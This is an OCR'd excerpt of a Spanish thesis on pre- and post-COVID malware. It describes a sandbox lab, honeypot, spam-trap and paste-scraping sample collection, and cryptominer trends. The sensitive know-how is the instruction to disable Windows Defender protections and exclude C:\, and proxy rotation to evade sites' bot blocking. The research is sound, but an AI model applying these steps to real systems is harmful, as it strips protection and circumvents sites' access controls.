Ademas, puesto que queremos que el malware se ejecute de forma totalmente libre,
serd necesario eliminar cualquier proteccién. Entre ellas deberemos deshabilitar Windows
Defender, asi como la proteccién en tiempo real, la proteccién desde el Cloud y el envio

de muestras (fig. 3.12).
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% Virus & threat protection settings

View and update Virus & threat protection settings for Windows Defender
Antivirus.

Real-time protection

Locates and stops malware from installing or running on your device. You
can turn off this setting for a short time before it turns back on
automatically.

@ Real-time protection is off, leaving your device vulnerable.

@ off

Cloud-delivered protection

Provides increased and faster protection with access to the latest
protection data in the cloud. Works best with Automatic sample
submission turned on.

1. Cloud-delivered protection is off. Your device may be Dismiss
vulnerable.

@ off

Figura 3.12: Deshabilitar Windows Defender, asi como la proteccién en tiempo real, la

proteccién desde el Cloud y el envio de muestras.

Aunque ya seria suficiente, también agregamos la carpeta del disco raiz “C://” a la

lista de exclusién.
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Windows Security - [m] X
Exclusions

- Add or remove items that you want to exclude from Windows Defender
Antivirus scans.

[~

|o
+  Add an exclusion

A

«» A v
Folder

=}

2
Have a question?

@
Get help

sk
Help improve Windows Security
Give us feedback
Change your privacy settings
View and change privacy settings

& for your Windows 10 device.

Figura 3.13: Exclusion de la carpeta raiz “C://” en Windows Defender.

Finalmente, utilizaremos el instalador de Flare-VM|[54]. Flare-VM es una distribucién
basada en Windows de la mano de FireEye|55]. El proceso de instalacién se encarga
de muchas de las pretareas necesarias para el andlisis de malware, como desactivar las
actualizaciones automaéticas e instalar software como debuggers, herramientas de anélisis
de red, decompiladores, etc.

El concepto y motivo por el que se ha decidido usar esta herramienta es el mismo
por el que se ha decidido usar REMnuz. Toda esta suite de software y configuraciones
permiten hacer las tareas de un analista de malware de una forma mucho maés sencilla.
Notese que existe redundancia en algunos casos entre el software de la maquina Linux
y Windows, pero esto no supone ningiin problema, de hecho, es incluso razonable, pues
cuando estemos haciendo anélisis de malware trataremos de dejar la maquina virtual lo
mas aislada posible.

Su instalacion, aunque dura varias horas, es bastante sencilla. Basta con correr el
archivo “install.ps1” en una consola Powershell como administrador y sin restricciones de
ejecucién. Se puede encontrar el repositorio con el archivo en la siguiente URL:

https://github.com/mandiant/flare-vm


https://github.com/mandiant/flare-vm
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Metodologia

4.1. Metodologia de trabajo

Puesto que no se trata de un proyecto centrado en cédigo, las metodologias cominmente
utilizadas en el desarrollo de software no pueden aplicarse como tal. Sin embargo, se to-
mardn ideas y buenas practicas de diferentes metodologias para crear asi el mejor conjunto
de métodos para la realizaciéon del proyecto.

En general, el proyecto se presenta de una forma bastante iterativa y ciclica, pues
todas las tareas poseen como requisito su precedente. Por tanto, se aplicaran modelos

como el desarrollo en espiral. Se plantean las siguientes fases:

1. Obtencién de malware: Se obtendran muestras de malware utilizando métodos
como: implantacién de honeypots, scraping de paginas publicas de pastes (pastebin

y similares), correos maliciosos y muestras desde “zoos”.

2. Analisis de criterios: Se obtendrdn una serie de criterios que guiardn las fases

posteriores.

3. Analisis de malware: Se realizard un anélisis del malware siguiendo la metodologia

que se presenta en la seccion 4.2.
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4. Conclusiones: Se analizardn los datos obtenidos, comparando ambas etapas (Pre

y Post COVID), y se plasmarén los resultados en la documentacién.

5. Refutar o aceptar hipétesis: Segiin las conclusiones obtenidas se refutardan o

aceptaran las hipétesis planteadas al inicio del TFG (seccién 1.3).
> 1. Obtener
samples

4, Refutar o
aceptar hipotesis

A\

\ 4

2, Analizar
samples

3. Obtener <
conclusiones
Figura 4.1: Representacién de un modelo en espiral para el proyecto.

Con este modelo (fig. 4.1), se produce un desarrollo ciclico e incremental. Como se
puede ver, el desarrollo estd basado sobretodo en el anédlisis del malware y las conclusiones
que podamos sacar del proceso. A pesar de parecer una metodologia anticuada y estricta,
se tendran en cuenta algunas buenas préacticas y principios de métodos dgiles:

En primer lugar, se estard abierto al cambio en cualquier momento. Los resultados
obtenidos pueden cambiar parcialmente el desarrollo del TFG.

En segundo lugar, se intentard crear versiones del documento al final de cada fase de
desarrollo. Estas versiones podran ser consultadas por el cliente (en este caso el tutor) de

manera que se puedan obtener criticas y opiniones para mejorar.
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4.2. Metodologia para el analisis de malware

Para el anélisis de malware, podemos también seguir una metodologia concreta. Aun-

que esta metodologia puede variar segin el tipo de malware a analizar, por lo general se

seguirdn los siguientes pasos:

0. Obtencion del malware

1 Entorno virtualizado ]

En ocasiones, serd necesario el acceso a internet. Por ejemplo, al
ejecutar un dropper para obtener el malware principal. Para ello,
se hard uso de un VPN de manera que se oculte la direccién IP real
de la mdquina.

Figura 4.2: Metodologia para el andlisis de malware, paso 0.

1. Analisis estatico

1 Entorno virtualizado

Se utilizaran herramientas para el andlisis inicial de las muestras.

Se obtendran hashes MD5 y SHA, se analizaran los imports y funciones
utilizadas. En caso de que el malware no se encuentre empacado, se
hard uso de herramientas como Ghidra para analizar partes del malware
que sean interesantes para el objetivo del TFG.

Figura 4.3: Metodologia para el andlisis de malware, paso 1.

METODOLOGIA
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1.1 Desempacado y parcheo del malware

] Entorno virtualizado [

Se espera encontraruna gran cantidad de las muestras enpacadas, se
hard uso de herramientas como x64dbg para hacer un dumpeo de la
memoria y obtener la muestra desempacada. En ocasiones cuando las
llamadas a funciones de la APl esten hasheadas, se hard un procedi-
miento similar; obteniendo asi las verdaderas llamadas a la API.

. En caso de que se hagan comprobaciones de evasion de ejecucién en
Windows 10 @soceq g probace ° 4
méquinas virtuales, se parcheard el ejecutable para evitar comporta-
mientos no deseados. Tras este procedimiento, se vuelve al punto
“1. Andlisis estdtico”

Figura 4.4: Metodologia para el andlisis de malware, paso 1.1.

2. Analisis dinamico

| Entorno virtualizado []

Monitorizacion del

trafico red
O —
Windows 10 Trafico red simulado

Se realizard una conexién entre ambas maquinas virtuales, donde la méquina virtual REMnux actuard como

proxy. Se monitorizard el trdfico de red y se simulard trdfico DNS y HTTP de manera que el malware pueda
correr de forma correcta.

Process Hacker y Process Monitor serdn los programas utilizados para hacerlogging de las llamadas a la APl'y
comportamiento del malware. Posteriormente, se representarén los datos graficamente con ProcDOT.
También se realizardn comparaciones de las entradas del registro con Regshot.

Figura 4.5: Metodologia para el andlisis de malware, paso 2.
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Obtencién de muestras

5.1. Honeypot SSH

Como se explica en secciones anteriores, se hard uso de honeypots para tratar de
obtener muestras de malware activas. Concretamente, se hard uso de un honeypot que
imita un servidor con el servicio SSH descubierto.

El funcionamiento de este honeypot es bastante sencillo. Este hace uso de un logger
para registrar todas las interacciones de los usuarios con la méaquina. Posteriormente,
mediante RegFx detecta URLs en los comandos, cuando una URL es detectada, se anade
a una cola de descargas. La cola esta construida sobre Redis|56], una base de datos en
memoria.

De forma paralela, existe un daemon intentando descargar ficheros constantemente. Si
existe alguna URL en la cola, comprueba que no haya sido ya descargada y se descarga.
Finalmente, se anade a la lista de URLs utilizadas.

Toda esta actividad, se registra en los logs en los ficheros “ssh_honeypot.log” v “ssh

__honeypot_ downloader.log”.

31

OBTENCION DE

MUESTRAS



OBTENCION DE

MUESTRAS

Obtencién de muestras 32

/basic_ssh_honeypot with_downloader/uploaded_files§ 1ls -la

Oct 19 23:46 .

Oct 21 13:51 ..
6 Oct 19 13

Oct 19 23

-r -P 61234 -1 LightsailDefaultKeyPair-eu-west-3.pem ubuntu@35.181.49.216:./basic_ssh_hone|

100% 408KB .7TMB/s 00:00

246 4.8KB/s ]
ot. 9356 33.4KB/s 00: 00
_downloader.py g 2801 4. 0KB/S 00 : 00

2610 .4KB/s 00: 00

ub g 6 .3KB/s 00: 00
_downloader.log g 3 6.6KB/S 00: 06

D.5KB/s 00 : 00

.8KB/s 00 : 00

eb9d2257a3792a3df25b2fad25bfac9clbe2c190687abfea37ff6fbebsacb122.zip 00% 26 .3KB/s g 0]
8923bb4758ee4f8bb122d61391f373bf2bdcc705142beb758bfe22ecd7740e26.zip 0O% 14KB 271.3KB/s 00:00

Figura 5.1: Obtener resultados del honeypot SSH.

Finalmente, para obtener de forma local los archivos, se utilizard el protocolo SSH.
Concretamente se utilizard el comando SCP[57].

El comando SCP se comporta de forma similar a SSH, basta con especificar el puerto
(con la flag -P), la clave SSH, el dispositivo a conectar (con su usuario e /P) y un archivo
o directorio. En este caso, se desea descargar un directorio, por lo que se especifica la flag

-r (recursivo) y una ruta. Véase la figura 5.1 para un ejemplo de uso de SCP.

5.2. Scraping de paginas de pastes

Uno de los métodos que los usuarios maliciosos utilizan para infectar a nuevas victimas,
es el uso de pdginas de publicacién de archivos de texto, por ejemplo: Pastebin.

De hecho, es esta misma pédgina la que ocupa el 5° lugar actualmente en el ranking de
muestras descubiertas por abuse.ch (véase la figura 5.2). El motivo de que se usen estas
péginas es debido a su renombre, usuarios poco informados pueden tener més confianza,

por ejemplo, en un link bajo el dominio de Google que en otro desconocido.
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abuse.ch
ABUSE|®"

@abuse _ch

Top malware hosts in September 2021 by number of
distinct malware sites

997 feedproxy .google .com @googlecloud £
337 cdn.discordapp .com @discord =

117 onedrive .live .com @onedrive £

67 files.slack .com @SlackHQ =

53 pastebin .com @pastebin £

2:39 PM - Oct 4, 2021 - Twitter Web App

Figura 5.2: Ranking de hostings mas usados por usuarios maliciosos.

En esta seccion, trataré de obtener una gran cantidad de “pastes” con la intencion de
descubrir algunos que sean maliciosos.
La obtencién involucrard métodos muy distintos, pues cada pédgina utiliza metodologias

distintas para ofrecer sus indices de archivos.

5.2.1. “proxy grab.py”

Para obtener los diversos pastes, se programaré software multihebra, capaz de hacer
cientos de peticiones al minuto. Sin embargo, esto ocasiona un problema: Muchas de estas
paginas poseen proteccién contra bots y spam.

Una solucion sencilla es utilizar prozies. Los proxies permiten actuar como interme-
diario entre el cliente y el servidor, de esta forma el servidor puede creer que se trata de

un cliente distinto.
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Ask Bob what
the current time is

What is
the current time

The time
is 7pm

Bob says the
time is 7pm

Figura 5.3: Funcionamiento de un proxy - Fuente: Wikimedia por H2g2bob.

Puesto que iba a ser tema recurrente entre muchos de los scripts, se creé un moédulo
comun para todos los parsers de las paginas de pastes. Mediante el médulo beautifulsoup

se obtienen proxies gratuitos de la pagina https://www.sslproxies.org/.

SSL Proxy

SSL (HTTPS) proxies that are just checked and updated every 10 minutes

fyEabh
IP Address Port Code Country Anonymity Google Https Last Checked “
103124.2.229 3128 ip Japan anonymous no yes 2 secs ago
159.65.5.141 65534 SG Singapore elite proxy yes 1min ago
217.219.61.6 8080 IR Iran anonymous yes 1min ago
62.99.68.79 37074 ES Spain elite proxy yes Tmin ago
110.44.124.220 55443 NP Nepal elite proxy yes Tmin ago
2127368156 3128 AM Armenia elite proxy yes 1min ago

Figura 5.4: Pdgina web: sslproxies.org para obtener proxies publicos gratuitos.

El script completo se puede ver en Github con la URL:

https://github.com/memoriasIT/paste-parsers/blob/main/proxy_grab.py


https://www.sslproxies.org/
https://github.com/memoriasIT/paste-parsers/blob/main/proxy_grab.py
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5.2.2. Eliminacion de duplicados

Otro de los problemas encontrados es el de tener multiples copias del mismo fichero.
Esto se debe a que las campanas de spam o malware a menudo publican numerosas
veces el mismo mensaje (ya sea en la misma pédgina, en distintos momentos o en distintos
dominios).

Para ello, he utilizado un comando de bash que elimina todos los elementos duplicados
segtin su funcién hash MDS5.

Una funcién hash son funciones con una sola direccion, es decir, no existe operaciéon
inversa|23|. Ademsds, si hubiera algiin cambio, se produce el “efecto avalancha” (si una
entrada cambia ligeramente, la salida cambia significativamente).

A pesar de que existen problemas de colisiones y ataques a la funcién hash MDJ, esta
sigue siendo una solucién para problemas como este, donde se busca ser computacional-
mente barato y donde una posible colisién no supone un alto riesgo.
find . -type £ \

xargs md5sum \
sort -k1,1 \

uniq -Dw32 \
while file; do
[ "${prev_hash}" == "${hash}" ] && rm -v "${file}"
prev_hash="${hash}";
done

5.2.3. Scraping manual

En diversas péaginas de pastes, como puede ser dumpz.org a pesar de que los pastes
tienen un ID tnico, estdn numerados de forma incremental. Es por ello que es posible
acceder a ellos mediante la URL: https://{dominio}/{ID}

Debido a esto, se han realizado dos scripts, uno que obtiene el iltimo ID vélido y otro
que parsea y descarga los pastes para posterior andlisis.

El script “dumpz_org.py”|58| utiliza el algoritmo de bisqueda binaria para encontrar
el dltimo ID vélido. Para ello se comprueba si el titulo de la pagina es: “Not found”.

Por otra parte, el script “dumpz_org _download.py’[59] utiliza el médulo selenium para
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visitar las paginas y parsear los datos. El script es multihebra, y aunque solamente posee
dos instancias de selenium a la vez, podria aumentarse si se posee suficiente memoria
RAM. Si se detecta la pagina “403 Forbidden” de nginx se relanza el driver de selenium
con nuevo prozry v User Agent, pues puede ser que la IP sea bloqueada.

De las pdginas se obtienen los siguientes datos: El titulo, fecha, ID y contenido; todo
esto se guarda en un fichero con el siguiente formato:

“UnombrePagina} {currentID} {date}.txt”.

Tras descargar una gran cantidad de pastes, se analizé su contenido, y se encontra-
ron 17.285 archivos con el mismo contenido, las copias fueron eliminadas con el método

mencionado en la seccién 5.2.2.

pasteparsers Properties x

Basic Permissions

0| [posicparsers

Type: Folder (inode/directory)
Contents: 301,585 items, totalling 754.0 MB

Parentfolder: [home/remnux/Desktop

Modified: Tue 31 Aug 2021 05:27:15PM EDT

Freespace: 41.5GB

dumpz_org.py 1.0kB

dumpz_org_download.py 3.9 kB

dumpz_org_lastID.txt

1
B [ . ]

pasteparsers

Figura 5.5: Antes y después de borrar los archivos duplicados.

Ademads, debido a similitudes en el formato de los pastes, se detectaron una gran

cantidad de archivos del mismo actor, que fueron clasificados con RegFu.
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Tras mover esos archivos a otra carpeta quedaron 120.492 archivos, es decir, 173.808
archivos provenian de este supuesto autor.

Ademads, se clasificaron los archivos por lenguaje de programacion. Para ello se utilizé
el paquete GuessLang|60]. Este paquete puede diferenciar mediante inteligencia artificial
mads de 50 lenguajes con mas del 90 % de exactitud.

Los scripts para las diversas pdginas pueden encontrarse en la siguiente URL:

https://github.com/memoriasIT/paste-parsers

5.2.4. Pastebin

Pastebin, se presentaba como la pdgina mas sencilla, pues provee de una API para
hacer scraping. Es decir, justo lo que queremos.

No obstante, parece ser que en los tltimos tiempos, se han hecho varias modificaciones
en el algoritmo para mostrar los tltimos posts. Parece ser que los posts que se muestran se
someten a andlisis mucho mads restrictivos. Y aunque se pueda seguir infectando usuarios
mediante enlaces directos a los pastes, estos no se mostrarén (por lo general) en la lista

de ultimas publicaciones. Es por eso, que finalmente pastebin no ha sido utilizado.

5.2.5. Conclusién y Resultados

Mediante los pastes, se ha conseguido una gran cantidad de muestras de campanas de
spam y phishing. Se presume que gran cantidad de las URLs presentes en este tipo de
campanas se califican como maliciosas o sospechosas, pero no se ha realizado un estudio

estadistico que lo demuestre.

5.3. Analisis de e-mails

Los e-mails son en muchas de las organizaciones el principal mecanismo de comuni-
cacion, ademds, muchos individuos inexpertos poseen una falsa sensacién de seguridad al

tratarse de un canal de comunicacién interna.
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Esto hace del correo electrénico un vector de ataque muy atractivo para los actores

maliciosos, que buscardan impersonar actores con credibilidad para sus propios beneficios.

5.3.1. SpamTrap

Los “SpamTraps” son un concepto parecido al honeypot aplicado al correo electrénico.
La idea principal es montar una direccién de correo en principio comtn y corriente que
se utilizard para obtener campanas de spam y malware.

Comitnmente, el uso principal de esta técnica estd mads relacionada con el marketing.
Las direcciones de correo se anaden a listas de correos para spam, de esta forma, cuando
una campana llega a la bandeja de entrada se sabe que la campana es maliciosa (no existe
consentimiento). Esta técnica es usada también por las grandes companias de correo para
mejorar su deteccion de spam.

En este caso, el objetivo es totalmente el contrario, se desea obtener la mayor cantidad
de campanas y se espera obtener algunas maliciosas.

Para realizar esta especie de honeypot, se han utilizado distintos métodos:

Publicacion en pastes

Se ha publicado en pédginas de pastes piblicos el siguiente cédigo:
RobThePlayer@mail.com
<a href="mailto:RobThePlayer@mail.com">RobThePlayer@mail.com</a>
Se ha supuesto que muchos de los bots que buscan e-mails en la red buscardn links
“mailto” ademds de direcciones con @ asi que se incluyé cédigo HTML con esta etiqueta.
Algunas de las paginas en las que se han publicado son: “dumpz.org”[61], “paste.org.ru”|62],
“vpaste.net”[63], “bitbin.it”[64], “paste.rohitab.com”|[65], “kpaste.net”[66], “pastebin.osuosl.org”[67],

“txtpaste.com”|68], “sharetext.me”’[69] y “pastebin.com”[19].
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SUBMITTED BY: Guest HITS: 1 AReport

DATE: Oct. 23, 2021, 10 a.m.

v Go to comments
FORMAT: HTML

SIZE: 87 Bytes

layer@mail.com

hePlayer@mail.com">RobThePlayer@mail .com</a>

1Comment BitBin @ Disqus' Privacy Policy 0 RobThePlayer@m...
Q2 Favorite m Sort by Best

Start the discussion. ..

RobThePlayer@mail.com - a few seconds ago
This is a private email RobThePlayer@mail.com
Edit - Reply - Share»

B4 subscribe ) Add Disqus toyoursite 4k Do Not Sell My Data DISQUS

Figura 5.6: Publicacién en la pagina: “Bitbin.it”.

DUMPZ

RobThePlayer@mail.com

2 Anonymous @HTML (©230ct2021  AsText  Un/Wrap  Lines#

RobThePlayer@mail.com
<a href="mailto:RobThePlayer@mail.com">RobThePlayer@mail.com</a>

Figura 5.7: Publicacién en la pédgina: “dumpz.org”.

Contacto con data brokers

Otro de los métodos también empleados es el de contactar a empresas que se dedican
al trafico de datos con la intencién de “darse de baja” de sus correos. Realmente lo que
buscan es que los correos sean anadidos a sus listas de correo y vendidos posteriormente

a sus clientes.
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) Sentltems +# Filter v

support@nuwber.com
Error in website 1:54 PM
Hello, | cannot access your website this is ...

Support@zabasearch.co
Mailing list 1:50 PM
please don't send me more emails

privacy@corelogic.com
Unsubscribe 1:48 PM
Would it be possible to not receive more e...

unsubscribeall@experian.com; unsubscrib...
Unsubscribe 1:47 PM
Please | don't want your emails

optout@experian.com
Un subscribe 1:46 PM
Please | don't want more mails, thanks.

optout@epsilon.com
Unsubscribe 1:44 PM
| have been receiving a lot of emails lately,...

consumeradvo@acxiom.com
> Unsubscribe 1:44 PM

Unsubscribe

robertdeniro1994@outlook.com
Sat 10/23/2021 1:48 PM

To: privacy@corelogic.com

Would it be possible to not receive more emails please?

Reply Forward

Unsubscribe & (No subject) X

Figura 5.8: Contacto con data brokers.

Encuestas y paginas para ganar dinero en linea

Otro tipo de empresas que se dedican al trafico de datos es el de las encuestas y paginas

de ganar dinero en linea, la intencién es la misma que con el método anterior.

©

Other Filter Robert, activa tu cuenta de Opine y Gane hoy mismo.

5

no-reply@opineygane.com
Sat 10/23/2021 2:29 PM

To: robertdeniro1994@outlook com

Bienvenido a univox 229PM
Estimado Robert: jBienvenido! Para crear s

no-reply@opineygane.com
Robert, activa tu cuenta de Opine... 229 PM
Empieza a conseguir recompensas hoy mis...

Confirma tu registro en Toluna 229 PM
Hola Robert! jFelicitaciones! Ya eres un infl

Swagbucks.com
Verificacién de cuentas 229 PM
Bienvenido Robert, Gracias por registrarte

Confirma tu correo electrénico p. 229PM
Bienvenido/a! Haz clic en el enlace siguien

Bienvenido a LifePoints, Robert 218 PM
Before starting your survey adventure

Robert, activa tu cuenta de...

Translate message to: English | Never translate from: Spanish

W Opine
. ! yGane

Activa tu cuenta
Hola, Robert

Gracias por tu interés en unirte a Opine y Gane

jActiva hoy tu cuenta y empieza a ganar hasta 5 € por encuesta!

& (No subject)

Activar ahora

Figura 5.9: Registro en paginas de encuestas.



Obtencién de muestras 41

5.3.2. Conclusiéon y Resultados

En general, el método de spam trap se podria calificar como parcialmente satisfactorio.
Pese a que se ha obtenido una gran cantidad de spam (incluso en ocasiones relacionados
con el COVID tal y como se puede observar en la figura 5.11) no se han obtenido muestras
de malware.

Esto puede ser, en parte, porque las campanas no han logrado pasar los filtros de
antivirus, firewall, etc. impuestos por los proveedores de email utilizados.

La mayoria del spam recibido trataba de impersonar a grandes companias con sorteos
o similar.

info@instant-delivery.ml Por suerte, para todas las compras relacionadas con su actividad, puede contar con Amazon Business. - Ver version onl 10 may
Jose M. Severson Trust me! You Will Love Engineer's Collection Tee Shirts - ENGINEER TEE SHIRTS NEW COLLECTION 2022 **LIMITED TIM 5 may
Runkeeper Hemos actualizado nuestra politica de privacidad - Hemos aciualizado nuestra politica de privacidad Como ya sabrds, Ru 2 may
--MACBOOK:- ¥ %" consigue el nuevo MacBook Pro 13 - jAplrate, |a cantidad de premios que puedes ganar es limitada! jRe 26 abr
Bitcoin Sy. @SECRETO PARA GANAR DINERO QUE LOS GRANDES BANCOS NO QUIEREN QUE SEPA@ - ;Como invierte Amancio Ort 25/10/21
Iphone 13 Reclame su nuevo iphone 13 pro - jAplirate, |a cantidad de premios que puedes ganar es limitadal jResponde ahora! jFel 25/10/21
Vegas Plus { :>>100% de bonificacion hasta 250 €jusqu'a’200 €. - iBienvenido a Vegas Plus Casino! El mejor casi 24/10/21
Bitcoin Sy. @SECRETO PARA GANAR DINERO QUE LOS GRANDES BANCOS NO QUIEREN QUE SEPA@ - ;Como invierte Amancio Ort 24/10/21

Macbook consigue el nuevo MacBook Pro 13 - jAptrate, la cantidad de premios que puedes ganar es limitada! jRespond 24/10/21

Bitcoin Sy. @SECRETO PARA GANAR DINERO QUE LOS GRANDES BANCOS NO QUIEREN QUE SEPA@ - ; Como invierte Amancio Ort 23/10/21

Figura 5.10: Spam obtenido en la cuenta de Gmasl.

ATTENTION, GOOD MORNING « = B Fullscreen ¥
¥ From: [ MARY JOSEN © 11/7/2021 at 5:11 PM [

FROM MS MARY JOSEN

COVID-19 Charity Donation.

Greetings to you my dear,

My name is Ms. Mary Josen, T am 85 years old. A widow, T have been diagnosed with esophageal cancer. T am currently admitted
in a private Cocody hospital.

Please I have a fund donation for you for a charity project. and the reason why i am giving you this fund $650,000 dollars is
because of my health condition is very bad now and my doctor confirmed that my health cancer is getting bad every day by day. i
was out from comma some few months which i have been taking my treatment. So i make up my mind to give you this fund
because i did not have any person who will inherit this fund if i die.

I will give you more details once I hear from you.

T am writing from the hospital. T wait for your reply.

Thanks
Ms. Mary Josen

Figura 5.11: Phishing con motivo de COVID.
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En muchas ocasiones los correos utilizados han sido dados de baja por uso indebido,
por ejemplo, en “yandex.com” o “mail.com”. En otras ocasiones se ha debido verificar el

correo con datos como el teléfono (en “outlook.com”).

5.4. Muestras de Zoos u otros investigadores

A pesar de la naturaleza de este tipo de software, la comunidad es muy abierta. El
compartir muestras es de hecho una actividad muy comun. Aunque existen multitud de
archivos de muestras, una pagina muy extendida es VX-Underground|1].

VX-Underground es posiblemente la coleccién méds grande de malware que existe,
y ademads, posee una gran conexioén con la comunidad. Su coleccién no solo se cifie a
muestras, sino que también poseen papers, zines (abreviacion de magazine, ‘“revista”’ en

inglés) e informacién sobre APTs.

archive | code | zines | papers | apt collection | samples | supporters | contact

sample Info
Who Is
Threat Spotlight: Amadey Bot Targets Non-Russian Users
Fro 1t de Mayo - The journey of Amavaldo
Android.Bzy e Teens Take On the Mobile Ransomware Trade

Android.Greywolf nese Teens Take On the Mobile Ransomware Trade

Figura 5.12: Pégina principal de VX-Underground|1].

No obstante, también se utilizaran otras paginas que muestran informacion interesante.
Por ejemplo, VirusTotal[70] o AlienVault[46], que a menudo proveen informacién grafica

muy interesante.
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Analisis de criterios

Como ayuda para obtener conclusiones, se tomaran en cuenta diversos criterios. Es-
tos criterios se han obtenido de la mera intuicién, de ciertos elementos que podrian ser

diferenciadores y permitir marcar una diferencia.

6.1. Fase 1: La infeccion

En esta fase es critico el poder alcanzar a la victima con la mayor confianza posible.

Podrian existir cambios en:

= Persona a la que va dirigida: Una persona del departamento de marketing puede

no tener la misma perspicacia que una persona del departamento de seguridad.

= Mucha ma&s suplantacion de identidad: Podria esperarse un aumento en la
suplantacién de identidad. Especialmente, al trasladar los canales de comunicacién

a medios en linea puede ser también més fécil.

= Cambio en el dropper utilizado: Los sistemas de seguridad, al trabajar en re-
moto, pueden estar menos conseguidos, por tanto, algo m&s rudimentario puede

Servir.
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= Mas phishing menos malware: Es muy probable que gran cantidad de los obje-
tivos no sean a los que se desea infectar finalmente, sino que se pueden tomar como

pivote para un elemento mayor.

= Spam mas oportunista y ocasional, con campanas mas centradas en ob-
jetivos especificos: Las campanas mas especificas permiten realizar campanas de

phishing con mayor credibilidad.

Dentro de la misma fase de infeccién, se podrian encontrar cambios en el payload.
Algunas suposiciones podrian ser: que los C'VFEs no son tan empresariales, con vulnerabi-

lidades mds comunes y que las vulnerabilidades ocurran en recursos creados (o usados en

méas medida) a partir del COVID.

6.2. Fase 2: Malware

Se considera el inicio de esta fase desde que el usuario ejecuta el dropper o malware.

Algunos de los criterios a tener en cuenta podrian ser:

= No tanta evasién de maquinas virtuales y técnicas de anti-debugger: Si
los ataques fueran més rudimentarios, no serfa necesario de técnicas mas avanzadas.
Lo mismo ocurre con firewalls o elementos de deteccién de malware utilizados en

entornos empresariales.

» Movimiento lateral buscando targets mayores (por ejemplo suplantar la

identidad posteriormente)
= Cambio en los puertos utilizados

» Es “malware as a service” El malware as a service podria permitir atacar a

muchos mas objetivos con menos requisitos técnicos por parte del atacante.

= Menos ofuscacién: Debido a que son méds rudimentarios.
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= Mas troyanos bancarios para el usuario de a pie: Estos buscan un interés

totalmente monetario y permiten atacar a cualquier objetivo.

6.3. Miscelanea

Existen otros criterios no necesariamente relacionados con las fases del malware. Se

presentan a continuacion:

» Cantidad de ransomware pagado
» Cantidad de cambio a trabajo remoto

= Cantidad de dinero invertido a mejorar la seguridad y parchear vulnera-

bilidades

» Hardware especifico para el trabajo: Es decir, existe un equipo especifico para

el trabajo, separado totalmente de las actividades diarias del trabajador.

= Se realizan jornadas de entrenamiento de seguridad: Un usuario medio que
sea instruido en nociones bdsicas de seguridad es méds capaz de reconocer ataques

de phishing o malware.

» Cantidad de IoT en casa: Este tipo de dispositivos son conocidos por su poca
seguridad. Durante el COVID, muchas soluciones basadas en el IoT fueron puestas
en produccion. Es posible que este tipo de aparatos actiien como punto de entrada

para el malware durante el trabajo remoto.
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Capitulo 7

Estado del arte

Antes de comenzar a analizar las muestras, puede ser de gran ayuda analizar la situa-
cién y el entorno en el que se desarrollan. En ciertas situaciones, el contexto puede ser
incluso de més utilidad que los diversos aspectos técnicos que, por si solos, podrian ser
insuficientes para responder a las hipdtesis propuestas.

Se analizaran las tendencias y familias en auge durante los distintos periodos, de forma

que se pueda realizar una comparativa entre ambos periodos.

7.1. Situacion del Malware Pre-COVID

En primer lugar, se analizard el malware pre-COVID, servird de base sobre la que se
analizard si ha existido un cambio debido a la pandemia. Como situacién pre-Covid se
analizaran los tres anos anteriores a la pandemia (2017, 2018 y 2019).

Se plantea a continuacién un gréfico creado por ENISA (European Union Agency For
Network and Information Security) donde se plasma el porcentaje del malware en la

segunda mitad de 2017 y la primera mitad de 2018.
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) seconcbest ot 207

B st v ot 2000

Crypbooumency Rgmpia RSO
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Figura 7.1: Clasificacién por tipos de malware en la segunda mitad de 2017 y primera

mitad de 2018 segin ENISA.

En el propio grafico se puede observar claramente la gran importancia del malware
relacionado con las criptomonedas. Este tipo de campanas menos arriesgadas han provo-
cado que el volumen de ransomware o troyanos bancarios transicionen a ese nuevo modelo
de negocio.

Durante 2017 el ransomware fue el tipo de malware més importante, pero se puede

ver claramente la transicién a otro modelo de negocio como es el de los criptominers y

RATsS.

7.1.1. El auge de las criptomonedas

Ya desde 2017, la criptomineria se detecta como una de las actividades maliciosas maés
comunes. Si se analiza desde el punto de vista del atacante, permite tener unos ingresos

pasivos de forma anénima y crear redes de victimas de forma muy sencilla.
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787,146

400K e
326,326

1H 2H 1H
2017 2017 2018

Figura 7.2: Cantidad de mineros en 2017 y 2018.

Concretamente, Malwarebytes reporta que bloqueaba 8 millones de intentos de mineria
por dia.

Durante la primera mitad de 2018, se estima que los mineros han obtenido 2.5b$ de
beneficio. Y grandes botnets como la botnet “Smominru” obtuvo més de 500k infecciones
proveyéndoles beneficios de entre 2.8M$ y 3.6M§$.

Ademads, se debe tener en cuenta que el valor de las criptomonedas es variable y la
posible ganancia futura para el atacante puede significar no solo un beneficio actual, sino
un beneficio futuro con su posible revalorizacién.

De hecho, este podria ser uno de los grandes incentivos para los malhechores. Si anali-
zamos el valor del Bitcoin (criptomoneda usualmente referenciada como moneda canénica
del mercado de criptomonedas) contra las detecciones de mineros silenciosos detectadas

por Malwarebytes, podemos ver que existe una gran correlacion.
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Figura 7.3: Correlacién del BTC contra el uso de mineros|2].

Sumado al gran interés por el valor, se anade la facilidad de infecciéon. A partir de
2017, se pudo observar una diversificacion de los ataques, afectando a mas plataformas
como Android, Mac, o incluso el navegador. Especial interés tiene el tltimo vector de ata-
que, pues permite aprovecharse de cualquier dispositivo sin necesidad de instalar ningtin
software.

Durante la primera mitad de 2018, la mayor cantidad de detecciones malware son
las siguientes: Coinhive (30 % ), Cryptoloot (23 % ), JseCoin (17 % ), XMRig (7 % ),
Authedmine (6 % ).

Y precisamente, todos las familias mencionadas excepto XMRig utilizan el uso del
minado en el navegador. Centrandonos concretamente en el top 1, se puede analizar el
caso de “Coinhive”[71]. Coinhive es una herramienta para minar criptomonedas que en
principio se presenta como benévola. Notese, como dicha actividad no es ilegal siempre
que sea con consentimiento. De hecho, muchas de estas herramientas de minado en el
navegador, se presentaron como una posible fuente de ingresos alternativa a los anuncios,
en principio menos intrusivas pero lucrativas y es por eso que muchos duenos de paginas
web utilizaron este software sin conocer el impacto que podrian tener en sus visitantes.

Desgraciadamente, otras muchas paginas, fueron hackeadas y se introdujo este tipo

de mineros sin el conocimiento del dueno|72]. Destacan por ejemplo exploits utilizados en
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Drupal[73] (uno de los CMS, Content Management System, més famosos del mundo) para
desplegar mineros (ej. CVE-2018-7602|74] més conocido como Drupalgeddon3).

Si observamos el interés en el tiempo sobre esta herramienta (fig. 7.4) podemos ver
como a finales de 2017 tuvo un gran interés, pero se fue perdiendo paulatinamente. El
motivo principal se puede atribuir al bloqueo de paginas con este tipo de mineros por parte
de los antivirus. De hecho, si analizamos las busquedas en las que aparece “Coinhive” (fig.
7.5) se observa que palabras como virus o malware son bastante predominantes, lo cual
